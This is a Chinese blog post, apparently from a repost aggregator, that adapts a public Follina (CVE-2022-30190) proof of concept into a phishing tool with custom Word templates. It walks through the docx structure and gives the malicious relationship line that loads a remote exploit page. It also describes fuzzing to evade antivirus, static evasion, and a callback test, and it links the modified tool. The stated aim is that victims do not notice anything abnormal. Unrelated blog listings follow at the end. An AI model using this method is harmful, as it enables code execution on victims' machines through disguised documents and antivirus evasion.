昨天看了下'Follina' MS-MSDT n-day Microsoft Office RCE 这个漏洞,修改了下chvancooten的脚本,实现可以自定义word模板,便于实战中钓鱼使用,自己编辑好钓鱼word文档后-f参数指定即可。

也可以从我的github上下载:https://github.com/komomon/CVE-2022-30190-follina-Office-MSDT-Fixed

1.复现

使用https://github.com/chvancooten/follina.py的项目生成恶意word文件,可以实现命令执行,不过腾讯电脑管家、火绒会查杀





2. 分析poc

主要就是两处,一处是改word的word/_rels目录下新添加一个document.xml.rels文件,里面是一个windows.location.href加载远程连接



远程html中放着ms-msdt:/协议写的HTML



最后将文件压缩打包成docx。

3. Fuzz

第一种

分析后可知只是在word的word/_rels修改了document.xml.rels文件

应对实战空文件不行,随便新建一个文件然后添加一些内容,然后解压后将document.xml.rels放入,再压缩回去,发现不会触发。

第二种

生成的clickme.docx 不修改的情况下,可以多次触发,只要修改就不能触发了



第三种

修改document.xml.rels 文件名不行,依然查杀

第四种fuzz内容

查杀的是请求外链,http字样就会查杀

mhtml:http://localhost:80/exploit.html!x-usc:http://localhost:80/exploit.html
换成
http://localhost:80/exploit.html!

就可以了

但是实战中要用到自己的word模板,要不然受害者一点开就会觉察到不正常,所以为了贴近实战,修改了脚本,可以自定义word模板。

4.再分析

4.1.word结构和poc分析



word文件结构:

.
├── [Content_Types].xml // 描述的是整个文档的内容。把各个XML文件组合成一个整体
├── _rels // 定义Package(Zip包)和它所直接包含的Part之间的关系。对于一个 Part 来说,如果它依赖其他 Part,那么需要为这个 Part 创建一个目录,并且也有一个 _rels 目录,目录下面会有一个 partname.rels 文件。比如 /word/document.xml 就是很典型的例子
├── docProps // 记录docx文档的主要属性信息
│ ├── app.xml // 描述文档的文档类型、版本、只读信息、共享、安全属性等信息
│ └── core.xml // 描述文档的创建时间、标题、主题和作者等基于Open XML约定文档格式的通用文件属性信息
└── word
├── _rels
│ └── document.xml.rels
├── charts
│ ├── _rels
│ │ ├── chart1.xml.rels \\ 映射表存放文件文本框文件的位置
│ ├── chart1.xml
│ ├── colors1.xml
│ ├── colors2.xml
│ ├── style1.xml
│ ├── style2.xml
├── document.xml // 文档中所有可见文字的内容和属性及不可见部分的内容和属性
├── embeddings
│ ├── Microsoft_Excel_Worksheet.xlsx
│ ├── Microsoft_Excel_Worksheet1.xlsx
│ ├── oleObject1.bin // OLE是Object Linking and Embedding的缩写,直译为对象连接与嵌入;满足用户在一个文档中加入不同格式数据的需要(如文本、图像、声音等),即解决建立复合文档问题。
│ ├── oleObject2.bin
│ ├── oleObject3.bin
│ ├── oleObject4.bin
├── endnotes.xml
├── fontTable.xml // 文档所使用的字体信息
├── footer1.xml
├── footer2.xml
├── footnotes.xml // 文档中脚注部分信息
├── header1.xml
├── header2.xml
├── media // Word中的多媒体文件,如插入的图片、公式对应的wmf文件等
│ ├── image1.emf
│ ├── image2.png
│ ├── image3.jpeg
│ ├── image4.wmf
│ ├── image5.emf
├── numbering.xml // Word中的有序列表、无序列表等的信息,定义了列表的样式、序号等信息
├── settings.xml // 文档的总体设置信息
├── styles.xml // Word的样式信息,定义样式的展示优先级以及段落、表格等样式
├── theme // 文档的主题的所有信息,如颜色、字体大小
│ ├── theme1.xml
│ ├── themeOverride1.xml
│ └── themeOverride2.xml
└── webSettings.xml // 文档左右间距等的样式信息

分析word的目录结构,了解到Word/document.xml 是文件的内容

[Content_Types].xml存储的是part名称和类型

每一个part是一个xml,part如果引用外部文件就需要在当前目录下创建一个_rels文件夹,下面存放外部引用的rels文件,poc中就是用了document.xml的外部引用。



Poc脚本的模板使用的rid是1337,控制修改在documen.xml中如下修改改成了1111



然后 document.xml.rels 对应修改成了之后就可以使用了

4.2.关于文件内容

通过了解word的结构后,如果想要文件内容是自定义的,即自创建模板,可以修改document.xml即可

填上如下部分即可



然后对应的xxx.xml.rels文件中添加外部引用的一行,注意rid对应即可。

<Relationship Id="rId1111" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="http://localhost:80/exploit!" TargetMode="External"/>

如下自创模板,并触发漏洞

4.3.静态免杀



上线测试



最后编写了自定义word模板的脚本:





​工具下载:https://github.com/komomon/CVE-2022-30190-follina-Office-MSDT-Fixed

技术交流

关注公众号回复“加群”,添加Z2OBot 小K自动拉你加入Z2O安全攻防交流群分享更多好东西。



知识星球

团队建立了知识星球,不定时更新最新漏洞复现,手把手教你,同时不定时更新POC、内外网渗透测试骚操作。感兴趣的可以加一下。







CVE-2022-30190 Follina Office RCE分析【附自定义word钓鱼模板POC】的更多相关文章

  1. WPS Office 2012 专业版 附正版序列号

    WPS Office 2012 专业版 附正版序列号 首先说说WPS的研发历史沿革:1988年5月,一个名叫求伯君的程序员凭借一台386电脑写出了WPS 1.0,从此开创了中文字处理时代,并迅速占领中 ...

  2. asp.net mvc源码分析-DefaultModelBinder 自定义的普通数据类型的绑定和验证

    原文:asp.net mvc源码分析-DefaultModelBinder 自定义的普通数据类型的绑定和验证 在前面的文章中我们曾经涉及到ControllerActionInvoker类GetPara ...

  3. Office办公软件(Excel PPT Word)使用整理

    Office办公软件(Excel PPT Word)使用整理.. -------------- Excel默认打印预览于当前连接的打印机的纸张大小保持一致. Excel sheet不见了怎么办 --- ...

  4. Joomla 3.4.6 RCE 分析

    Joomla 3.4.6 RCE 漏洞分析,首发先知社区: https://xz.aliyun.com/t/6522 漏洞环境及利用 Joomla 3.4.6 : https://downloads. ...

  5. Laravel 5.8 RCE 分析

    原帖地址 : https://xz.aliyun.com/t/6059 Laravel 代码审计 环境搭建 composer create-project --prefer-dist laravel/ ...

  6. thinkphp 5.1框架利用及rce分析

    前言 上个学期钻研web渗透的时候接触过几个tp的框架,但那时候还没有写blog的习惯,也没有记录下来,昨天在做ctf的时候正好碰到了一个tp的框架,想起来就复现一下 正文 进入网站,标准笑脸,老tp ...

  7. 动态调试|Maccms SQL 注入分析(附注入盲注脚本)

    0x01 前言 已经有一周没发表文章了,一个朋友叫我研究maccms的代码审计,碰到这个注入的漏洞挺有趣的,就在此写一篇分析文. 0x02 环境 Web: phpstudySystem: Window ...

  8. CNTA-2019-0014 wls9-async 反序列化 rce 分析

    在调试weblogic,以前导入jar包都是在weblogic目录搜索*.jar拷贝出来在导入IDEA.有时候会出现好多相同的jar包,调试的时候就会出问题,实际上导入以下俩个包就可以了.1.是mod ...

  9. Vuzzer自动漏洞挖掘工具简单分析附使用介绍

    Vuzzer 是由计算机科学机构  Vrije Universiteit Amsterdam.Amsterdam Department of Informatics 以及 International ...

随机推荐

  1. 嵌入式Servlet容器

    配置嵌入式Servlet容器 ##Spring Boot里面内置了嵌入式的Servlet容器(tomcat) 点击pom.xml->右键->Diagrams->show Depend ...

  2. JavaWeb知识梳理(可收藏)

    **JavaWeb相关知识 ** 1.Servlet 1.1 Status Code(Http状态码) 1.1xx 请求信息 Http状态码 Http Status Code Http状态码含义中文说 ...

  3. 【Example】C++ STL 常用容器概述

    前排提醒: 由于 Microsoft Docs 全是机翻.所以本文表格是我人脑补翻+审校. 如果有纰漏.模糊及时评论反馈. 序列式容器 序列容器是指在逻辑上以线性排列方式存储给定类型元素的容器. 这些 ...

  4. Hyperledger Fabric组织的动态添加和删除

    前言 在Fabric定制联盟链网络工程实践中,我们虚拟了一个工作室的联盟链网络需求,并根据此需求分析了整个网络的架构且已经完成了一个简单 fabric 网络模型.本文将在其基础上,在 mychanne ...

  5. STL空间分配器源码分析(三)pool_allocator

    一.摘要 pool_allocator是一种基于单锁内存池的空间分配器,其内部采用内存池思想,通过构建16个空闲内存块队列,来进行内存的申请和回收处理.每个空闲队列管理的内存块大小固定,且均为8的倍数 ...

  6. 一致性Hash的原理与实现

    应用场景 在了解一致性Hash之前,我们先了解一下一致性Hash适用于什么场景,能解决什么问题?这里先放一下我自己认为适用的场景.一致性Hash适用于服务器动态扩展且需要负载均衡的场景 试想以下场景, ...

  7. Solon 1.6.36 发布,更现代感的应用开发框架

    相对于 Spring Boot 和 Spring Cloud 的项目 启动快 5 - 10 倍 qps 高 2- 3 倍 运行时内存节省 1/3 ~ 1/2 打包可以缩小到 1/2 ~ 1/10(比如 ...

  8. JavaWeb学习day2-web入门&随笔

    Tomcat详解: 1默认端口号: Tomcat:8080 Mysql:3306 http:80 https:443 2默认主机名:localhost 地址:127.0.0.1 3网站应用默认存放位置 ...

  9. MySQL启动过程详解二:核心模块启动 init_server_components()

    mysqld_main() 函数中,init_server_components() 函数负责MySQL核心模块的启动,包括mdl系统,Innodb存储引擎的启动等等: 1. mdl子系统初始化. 2 ...

  10. 缓存中间件-Redis(二)

    在上一篇中我们简单总结和介绍了Redis的几个方面 1.使用Redis背景 2.Redis通信多路复用的基本原理 3.Redis基本数据结构 4.Redis持久化方式 这一篇我们使用简单的业务场景来介 ...